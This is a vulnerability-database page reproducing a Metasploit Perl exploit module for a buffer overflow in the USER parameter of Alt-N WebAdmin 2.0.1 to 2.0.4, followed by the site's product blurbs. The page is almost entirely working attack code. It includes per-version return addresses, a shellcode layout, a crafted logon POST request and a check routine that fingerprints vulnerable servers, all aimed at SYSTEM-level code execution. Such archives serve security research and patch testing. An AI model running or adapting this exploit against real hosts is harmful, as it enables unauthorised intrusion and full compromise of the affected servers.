Lucene search
K

WebAdmin <= 2.0.4 USER Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

WebAdmin <= 2.0.4 USER Buffer Overflow Exploi

Code

                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::altn_webadmin;
use base &#34;Msf::Exploit&#34;;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

	&#39;Name&#39;  =&#62; &#39;Alt-N WebAdmin USER Buffer Overflow&#39;,
	&#39;Version&#39;  =&#62; &#39;$Revision: 1.1 $&#39;,
	&#39;Authors&#39; =&#62; [ &#39;y0 [at] w00t-shell.net&#39;, ],
	&#39;Arch&#39;  =&#62; [ &#39;x86&#39; ],
	&#39;OS&#39;    =&#62; [ &#39;win32&#39;, &#39;winnt&#39;, &#39;win2000&#39;, &#39;winxp&#39;, &#39;win2003&#39; ],
	&#39;Priv&#39;  =&#62; 0,
	
	&#39;AutoOpts&#39;  =&#62; { &#39;EXITFUNC&#39; =&#62; &#39;thread&#39; },
	&#39;UserOpts&#39;  =&#62; {
		&#39;RHOST&#39; =&#62; [1, &#39;ADDR&#39;, &#39;The target address&#39;],
		&#39;RPORT&#39; =&#62; [1, &#39;PORT&#39;, &#39;The target port&#39;, 1000],
		&#39;SSL&#39;   =&#62; [0, &#39;BOOL&#39;, &#39;Use SSL&#39;],
	  },
	  
	

	&#39;Payload&#39; =&#62;
	  {
		&#39;Space&#39;     =&#62; 830,
		&#39;BadChars&#39;  =&#62; &#34;\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&#34;,
		&#39;Prepend&#39;   =&#62; &#34;\x81\xc4\xff\xef\xff\xff\x44&#34;,
		&#39;Keys&#39;      =&#62; [&#39;+ws2ord&#39;],
	  },

	&#39;Description&#39;  =&#62; Pex::Text::Freeform(qq{
Alt-N WebAdmin is prone to a buffer overflow condition. 
This is due to insufficient bounds checking on the USER 
parameter. Successful exploitation could result in code 
execution with SYSTEM level privileges.
}),

	&#39;Refs&#39;  =&#62;
	  [
		[&#39;BID&#39;, &#39;8024&#39;],
		[&#39;NSS&#39;, &#39;11771&#39;],
	  ],
	  
	&#39;Targets&#39; =&#62;
	  [
		[&#39;WebAdmin 2.0.4 Universal&#39;, 0x10074d9b], # 2.0.4 webAdmin.dll
		[&#39;WebAdmin 2.0.3 Universal&#39;, 0x10074b13], # 2.0.3 webAdmin.dll
		[&#39;WebAdmin 2.0.2 Universal&#39;, 0x10071e3b], # 2.0.2 webAdmin.dll
		[&#39;WebAdmin 2.0.1 Universal&#39;, 0x100543c2], # 2.0.1 webAdmin.dll

	  ],
	&#39;Keys&#39; =&#62; [&#39;webadmin&#39;],
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Check {
	my ($self) = @_;
	my $target_host = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port = $self-&#62;GetVar(&#39;RPORT&#39;);

	my $s = Msf::Socket::Tcp-&#62;new
	  (
		&#39;PeerAddr&#39;  =&#62; $target_host,
		&#39;PeerPort&#39;  =&#62; $target_port,
		&#39;LocalPort&#39; =&#62; $self-&#62;GetVar(&#39;CPORT&#39;),
		&#39;SSL&#39;       =&#62; $self-&#62;GetVar(&#39;SSL&#39;),
	  );
	if ($s-&#62;IsError) {
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return $self-&#62;CheckCode(&#39;Connect&#39;);
	}

	$s-&#62;Send(&#34;GET / HTTP/1.0\r\n\r\n&#34;);
	my $res = $s-&#62;Recv(-1, 20);
	$s-&#62;Close();

	if ($res !~ /v2\.0\.4|v2\.0\.3|v2\.0\.2|v2\.0\.1/) {
		$self-&#62;PrintLine(&#34;[*] This server does not appear to be vulnerable.&#34;);
		return $self-&#62;CheckCode(&#39;Safe&#39;);
	}

	$self-&#62;PrintLine(&#34;[*] Vulnerable installation detected :-)&#34;);
	return $self-&#62;CheckCode(&#39;Detected&#39;);
}

sub Exploit
{
	my $self = shift;
	my $target_host = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port = $self-&#62;GetVar(&#39;RPORT&#39;);
	my $target_idx  = $self-&#62;GetVar(&#39;TARGET&#39;);
	my $shellcode   = $self-&#62;GetVar(&#39;EncodedPayload&#39;)-&#62;Payload;
	my $target = $self-&#62;Targets-&#62;[$target_idx];

	if (! $self-&#62;InitNops(128)) {
		$self-&#62;PrintLine(&#34;[*] Failed to initialize the nop module.&#34;);
		return;
	}

	my $splat = Pex::Text::AlphaNumText(168);

	my $credz =
	  &#34;User=&#34;. $splat. pack(&#39;V&#39;, $target-&#62;[1]). $shellcode.
	  &#34;&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n&#34;;

	my $sploit =
	  &#34;POST /WebAdmin.DLL?View=Logon HTTP/1.1\r\n&#34;.
	  &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;.
	  &#34;Connection: close\r\n&#34;.
	  &#34;Cookie: User=y0; Lang=en; Theme=standard\r\n&#34;.
	  &#34;User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n&#34;.
	  &#34;Host: $target_host\r\n&#34;.
	  &#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png\r\n&#34;.
	  &#34;Accept-Language: en\r\n&#34;.
	  &#34;Accept-Charset: iso-8859-1,*,utf-8\r\n&#34;.
	  &#34;Content-Length: &#34;. length($credz). &#34;\r\n\r\n&#34;.
	  $credz;

	$self-&#62;PrintLine(sprintf(&#34;[*] Trying to exploit target %s 0x%.8x&#34;, $target-&#62;[0], $target-&#62;[1]));

	my $s = Msf::Socket::Tcp-&#62;new
	  (
		&#39;PeerAddr&#39;  =&#62; $target_host,
		&#39;PeerPort&#39;  =&#62; $target_port,
		&#39;LocalPort&#39; =&#62; $self-&#62;GetVar(&#39;CPORT&#39;),
		&#39;SSL&#39;       =&#62; $self-&#62;GetVar(&#39;SSL&#39;),
	  );
	if ($s-&#62;IsError) {
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return;
	}

	$s-&#62;Send($sploit);
	$self-&#62;Handler($s);
	$s-&#62;Close();
	return;
}

# milw0rm.com [2005-09-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation